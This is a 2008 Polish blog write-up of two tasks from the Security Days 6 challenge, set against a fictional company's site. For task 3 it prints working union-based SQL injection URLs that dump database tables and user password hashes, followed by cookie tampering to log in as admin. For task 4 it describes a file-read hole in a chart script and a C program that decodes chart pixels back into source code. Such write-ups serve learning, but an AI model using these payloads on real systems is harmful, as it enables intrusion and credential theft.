2008-09-30:

Security Days - zadanie 3,4

security:easy
W piątek w nocy C++ mnie wchłonęło, i wypuściło dopiero w poniedziałek rano (z krótkimi przerwami na sen, i na skok do kina na Babylon A.D., który moim zdaniem jest całkiem niezły, i bardzo klimatyczny, chociaż zakończenie... cóż, widać że studio skróciło film o 70 minut wbrew woli reżysera, nic tylko czekać na wersję reżyserską), więc dopiero teraz kolejny obiecany post hehe.

Wracając do tematu zadanek z SD6, czas na zadanie 3.

Zadanie 3cie opisze bardzo skrótowo, głównie dlatego że był to standardowy SQL injection (nawet nie blind) na MySQL w wersji 5.X, z wykorzystaniem INFORMATION_SCHEMA. W zmiennej dzial= siedział sobie SQLI który exploitowało się w taki oto sposób:

http://xe.securitydays.pl/zad3/index.html?dzial=3 and 0 union select 1,(select table_name from information_schema.tables WHERE table_schema=database() limit 0,1 ) --
http://xe.securitydays.pl/zad3/index.html?dzial=3 and 0 union select 1,(select COLUMN_NAME from information_schema.COLUMNS WHERE TABLE_SCHEMA=database() and table_name=0x7363745573657273 limit 0,1 ) --
http://xe.securitydays.pl/zad3/index.html?dzial=3 and 0 union select 1,(select concat(id,0x20,name,0x20,password,0x20,email) from sctUsers limit 0,1 ) --


Jak widać cudów tutaj nie ma, i kilka prostych zapytań doprowadzało nas prawie do końca zadania. Ostatnie zapytanie pozwalało uzyskać listę e-mail'i oraz haseł, które wyglądała następująco:

1 admin       279f4d9d7c0a5e40024301d04c7959ef m.niedoceniany@topsecurity
2 jnieomylny  c534beb518778104480270bbcbced23d j.nieomylny@topsecurity
3 mhojna      24efc2b5af7ac8fecfcc694d523e7385 m.hojna@topsecurity
4 apropaganda 2034f6e32958647fdff75d265b455ebf a.propaganda@topsecurity  (secretpassword)
5 zprzebiegla f1edec0f984fef1d681d2ce0d281618  z.przebiegla@topsecurity
6 mpomocny    f39c915bc6df36e8b40eccd1975e9e50 m.pomocny@topsecurity


Dodam że Google (ostatnio jest to mój ulubiony MD5 cracker hehe) znało tylko hash usera apropaganda, który był równy md5 z ciągu secretpassword, i używając którego można się zalogować. Natomiast cel zadania to dostanie się na usera admin. I tutaj pojawia się pewien błąd (który z tego co pamiętam kiedyś w PHPBB był) - mianowicie w ciasteczkach user/pass/id były przechowywane dane zalogowanego użytkownika, przy czym w pass był oczywiście md5 hasła tego usera. Ponieważ z bazy SQL wyciągnęliśmy odkładnie te dane opisujące każdego usera, to można spokojnie podmienić w ciasteczkach user/pass/id z użytkownika apropaganda na którego się logowaliśmy, na dane usera admin. Klik, reload strony, i zadanie skończone.

Zadanie 4 natomiast było świetne, i mogę spokojnie powiedzieć że było to (moim zdaniem oczywiście ;>) najciekawsze zadanie na SD6.
Scenariusz jak zwykle ten sam - jest strona fikcyjnej firmy Top$ecurity, i trzeba dostać się do panelu admina. Na początek w sumie nie wiadomo było za co się wziąć, ponieważ było kilka potencjalnych wektorów ataku, z czego większość fałszywa. Prawidłowy wektor ataku leżał w jednej z nowych podstron firmy zawierającej wykresy ichnich wyników finansowych. Taki wykres wyglądał następująco:



I jak się okazywało, wykres był generowany przez skrypt PHP zysk_gfx/plot.php który jako parametr year= z rokiem, np 2003, 2004 etc, i generował stosowny wykres. Przyznaje że chwilę mi zajęło zanim sprawdziłem czy 2003 (2004 etc) nie jest czasem nazwą pliku (standardowy test na LFI - ./ przed parametr). No i się okazało że jest plikiem binarnym wielkości 231 bajtów, który zawiera jedno bajtowe wartości, które były używane przy renderowaniu wykresu (dodam że pliki nazywały się 2003 etc, bez rozszerzenia).

Za pomocą tego LFI można było odczytać dowolny plik. Noo, tyle że są dwa problemy. Pierwszy problem polega na tym że możemy odczytać max pierwsze 245 bajtów pliku. A drugi że plik będzie przedstawiony w postaci wykresu. Na szczęście wykres jest na tyle precyzyjny, że można bez problemu napisać mały programik który odczyta przebieg wykresu i wypisze to co wyszło na stdout.

Przykładowo, wykres pliku 'admin.php' (nazwę można było zgadnąć), wygląda następująco:



Taki pliczek następnie konwertowałem na .RAW (zapis bitmapy bez nagłówków, czyste RGB), a następnie wrzucałem w swój na kolanie napisany programik który wyrzucał tekst. Programik wyglądał następująco:

#include <gynlibs.cpp>

#pragma pack(1)
struct RGB { unsigned char r,g,b; };

LONG_MAIN(argc,argv)
{
 unsigned char *data;
 data = FileGetContent(argv[1], NULL);
 RGB *rgb = (RGB*)data;

 int start_x = 22;
 int start_y = 276;

 int i, j;
 for(i = start_x; i < 500; i+=2)
 {
   for(j = start_y; j > 0; j--)
   {
     if(rgb[500 * j + i].r == 255 &&
        rgb[500 * j + i].g == 0 &&
        rgb[500 * j + i].b == 0)
     {
       putchar(start_y - j + 1);
       break;
     }
   }

 }

 return 0;
}


Jak widać nie chciało mi się nawet sprawdzić czy argv[1] nie jest NULL, ale co tam. Użyty wyżej gynlibs.cpp to jeden z moich libów z funkcjami różnego typu. Jest raczej słabo napisany, ale jak ktoś jest ciekaw to można go ściągnąć tutaj (przyjmijmy że jest public domain, cudów tam nie ma).
Powyższy programik użyty na RAW z wykresu pliku admin.php dawał następujący output:

<?php

       if ( ! isset($_POST['login']) || ! isset($_POST['password']) )
       {
               header("Location: ../");
       }

       $userName = "marcin";
       $md5Hash  = "87f75ce3f908a819a9a2c77ffeffcc38";

       if ( $_POST['login'] != $userName || md5($_POST['password'


Ten hash wyżej to md5('compiler') (co wykazało Google). Jak widać wystarczyło zrobić formularz oparty o POST, i zadanie się kończyło.

Jak widać super trudne nie było (i dobrze, w ten dzień 3h po publikacji zadań wyjeżdżałem z Borysem na SekIT, więc musiałem oba zadanka rozłożyć przed wyjazdem... na szczęście się udało ;>), natomiast było bardzo pomysłowe, i dzięki temu ciekawe ;>

Następny post będzie prawdopodobnie o SekIT 2008, a później wrócę do tematu zadanek z SD6 (zostały jeszcze 5te i 6ste, oraz zadanka z finału).

OK, tyle ;>

Comments:

2008-10-02 15:00:12 = Jakub
{
Odnośnie Sekitu, byłem - było fajnie no i smacznie :D Tematyka dobra ( no może po za jednym wykładem :P )
}
2008-10-04 10:27:54 = Gynvael Coldwind
{
Ano, mi też się podobał ;>
Zaraz coś naklepie o tym (w końcu ;>)
}

Add a comment:

Nick:
URL (optional):
Math captcha: 8 ∗ 2 + 10 =